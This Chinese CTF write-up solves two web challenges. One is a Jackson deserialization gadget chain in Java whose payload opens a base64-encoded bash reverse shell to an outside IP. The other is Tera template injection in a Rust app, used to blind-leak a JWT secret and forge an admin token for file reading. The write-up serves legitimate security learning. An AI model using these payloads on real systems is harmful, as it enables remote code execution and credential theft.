前言
babyjava
参考:http://kode.love/archives/ctf-springbootjian-quan-rao-guo
对路由进行url编码绕过鉴权,然后依赖里有jackson,简单打个jackson反序列化
exp:
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
public class exp_template {
public static void main(String[] args) throws Exception {
// 1. 动态移除 BaseJsonNode 的 writeReplace 方法
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
// 2. 创建一个 CtClass 并添加构造器
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzcvMzA5MDggMD4mMQ==}|{base64,-d}|{bash,-i}\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode(); // 生成字节码
// 3. 使用 TemplatesImpl 封装字节码
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", null);
// 4. 创建 JdkDynamicAopProxy 并包装 TemplatesImpl
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode jsonNodes = new POJONode(proxyObj);
// 5. 将 POJONode 包装进 BadAttributeValueExpException
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp, jsonNodes);
// 6. 序列化对象并保存为 1.ser 文件
try (FileOutputStream fileOutputStream = new FileOutputStream("1.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream)) {
objectOutputStream.writeObject(exp); // 将对象序列化并写入文件
System.out.println("对象已序列化并保存为 1.ser");
}
}
// 设置对象的字段值
private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
textme
rust tera后端
main.rs
use std::path::PathBuf;
use crate::auth::Claims;
use auth::{AuthError, KEYS};
use axum::{
http::StatusCode,
response::{Html, IntoResponse, Response},
routing::{get, post},
Form, Router,
};
use jsonwebtoken::encode;
use jsonwebtoken::Header;
use once_cell::sync::Lazy;
use serde::Deserialize;
use tera::Context;
pub mod auth;
#[tokio::main]
async fn main() {
tracing_subscriber::fmt::init();
let app = Router::new()
.route("/", get(root))
.route("/text", post(text))
.route("/login", post(login))
.route("/read", post(authorization));
let listener = tokio::net::TcpListener::bind("0.0.0.0:80").await.unwrap();
axum::serve(listener, app).await.unwrap();
}
async fn root() -> &'static str {
"Hello, World!"
}
#[derive(Deserialize, Debug)]
#[allow(dead_code)]
struct ReceiveLogin {
name: String,
}
async fn login(Form(data): Form<ReceiveLogin>) -> Response {
if data.name != "admin" {
let claims = Claims::new(data.name);
let token: Result<String, AuthError> = encode(&Header::default(), &claims, &KEYS.encoding)
.map_err(|_| AuthError::TokenCreation);
match token {
Ok(token) => (StatusCode::OK, Html::from(token)).into_response(),
Err(e) => e.into_response(),
}
} else {
(StatusCode::OK, Html::from("NONONO".to_owned())).into_response()
}
}
#[derive(Deserialize, Debug)]
#[allow(dead_code)]
struct ReceiveText {
text: String,
}
const BLACK_LIST: [&str; 7] = ["{{", "}}", "FLAG", "REPLACE", "+", "__TERA_ONE_OFF", "SET"];
async fn text(Form(data): Form<ReceiveText>) -> (StatusCode, Html<String>) {
let text = data.text;
let check_text = text.to_ascii_uppercase();
for word in BLACK_LIST.iter() {
if check_text.contains(word) {
return (StatusCode::BAD_REQUEST, Html::from("Hakcer!".to_owned()));
}
}
if text.len() > 3000 {
return (StatusCode::BAD_REQUEST, Html::from("Too long!".to_owned()));
}
let mut context = Context::new();
let content = tera::Tera::one_off(&text, &mut context, true);
match content {
Ok(content) => (StatusCode::OK, Html::from(content)),
Err(e) => (StatusCode::BAD_REQUEST, Html::from(e.to_string())),
}
}
#[derive(Deserialize, Debug)]
#[allow(dead_code)]
struct ReceivePath {
path: String,
}
const PATH_PREFIX: Lazy<PathBuf> = Lazy::new(|| PathBuf::new().join("./static"));
async fn authorization(claims: Claims, Form(data): Form<ReceivePath>) -> Response {
if claims.username != "admin" {
return (StatusCode::OK, Html::from("NONONO".to_owned())).into_response();
}
if data.path.contains("..") {
return (StatusCode::BAD_REQUEST, Html::from("Hakcer!".to_owned())).into_response();
}
let path = PATH_PREFIX.join(&data.path);
if !path.exists() {
return (StatusCode::BAD_REQUEST, Html::from("Not found!".to_owned())).into_response();
}
let file_content = std::fs::read(path);
match file_content {
Ok(content) => (StatusCode::OK, content).into_response(),
Err(e) => (StatusCode::BAD_REQUEST, Html::from(e.to_string())).into_response(),
}
}
auth.rs
use axum::{
async_trait,
extract::FromRequestParts,
http::{request::Parts, StatusCode},
response::{IntoResponse, Response},
Json, RequestPartsExt,
};
use axum_extra::{
headers::{authorization::Bearer, Authorization},
TypedHeader,
};
use jsonwebtoken::{decode, DecodingKey, EncodingKey, Validation};
use once_cell::sync::Lazy;
use serde::{Deserialize, Serialize};
use serde_json::json;
#[async_trait]
impl<S> FromRequestParts<S> for Claims
where
S: Send + Sync,
{
type Rejection = AuthError;
async fn from_request_parts(parts: &mut Parts, _state: &S) -> Result<Self, Self::Rejection> {
let TypedHeader(Authorization(bearer)) = parts
.extract::<TypedHeader<Authorization<Bearer>>>()
.await
.map_err(|_| AuthError::InvalidToken)?;
let token_data = decode::<Claims>(bearer.token(), &KEYS.decoding, &Validation::default())
.map_err(|_| AuthError::InvalidToken)?;
Ok(token_data.claims)
}
}
impl IntoResponse for AuthError {
fn into_response(self) -> Response {
let (status, error_message) = match self {
AuthError::WrongCredentials => (StatusCode::UNAUTHORIZED, "Wrong credentials"),
AuthError::MissingCredentials => (StatusCode::BAD_REQUEST, "Missing credentials"),
AuthError::TokenCreation => (StatusCode::INTERNAL_SERVER_ERROR, "Token creation error"),
AuthError::InvalidToken => (StatusCode::BAD_REQUEST, "Invalid token"),
};
let body = Json(json!({
"error": error_message,
}));
(status, body).into_response()
}
}
#[derive(Debug, Serialize, Deserialize)]
pub struct Claims {
pub username: String,
exp: usize,
}
impl Claims {
pub fn new(username: String) -> Self {
Self {
username,
exp: 10000000000,
}
}
}
#[derive(Debug, Serialize)]
pub struct AuthBody {
access_token: String,
token_type: String,
}
#[derive(Debug)]
pub enum AuthError {
WrongCredentials,
MissingCredentials,
TokenCreation,
InvalidToken,
}
pub static KEYS: Lazy<Keys> = Lazy::new(|| {
// let secret = std::env::var("SECRET_KEY").expect("JWT_SECRET must be set");
let secret = std::env::var("SECRET_KEY").unwrap_or("secret".to_owned());
Keys::new(secret.as_bytes())
});
pub struct Keys {
pub encoding: EncodingKey,
decoding: DecodingKey,
}
impl Keys {
pub fn new(secret: &[u8]) -> Self {
Self {
encoding: EncodingKey::from_secret(secret),
decoding: DecodingKey::from_secret(secret),
}
}
}
审计代码,目标是 /read 路由任意文件读取,需要为 admin
/login 会返回当前用户名的 jwt,secret_key 从环境变量读取
/text 路由存在 ssti,可以尝试在这里获取 secret_key
翻一下文档:https://keats.github.io/tera/docs/
BLACK_LIST ban了一堆输出和赋值的关键字,尝试用盲注匹配获取secret_key
{%for char in get_env(name="SECRET_KEY")%}
{%if char is matching('') %}1
{%else%}0
{%endif%}
{%endfor%}
能够返回在字符串中的位置
exp:
import string
import time
import requests
import warnings
warnings.filterwarnings('ignore')
url = "https://2d8981d06b-2f520221bf-1.sanxiabei.tuhuan.cn/text"
s = string.printable
def ssti(re):
payload = """text={%for%20char%20in%20get_env(name="SECRET_KEY")%}{%if%20char%20is%20matching('str')%20%}1{%else%}0{%endif%}{%endfor%}""".replace("str", re)
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
result = requests.post(url, data=payload, headers=headers, verify=False).text
if "1" in result:
print(re, result)
return re
return ""
for i in s:
time.sleep(0.5)
ssti(i)
按1的位置进行拼接,得到SECRET_KEY:DAPqYZUDHpHzPxvHpKjfRLMj
然后去 /login 随便用个用户名登录,返回一串jwt
伪造 jwt 的 username 为 admin
token 带进Authentication <Bearer>头,尝试直接读flag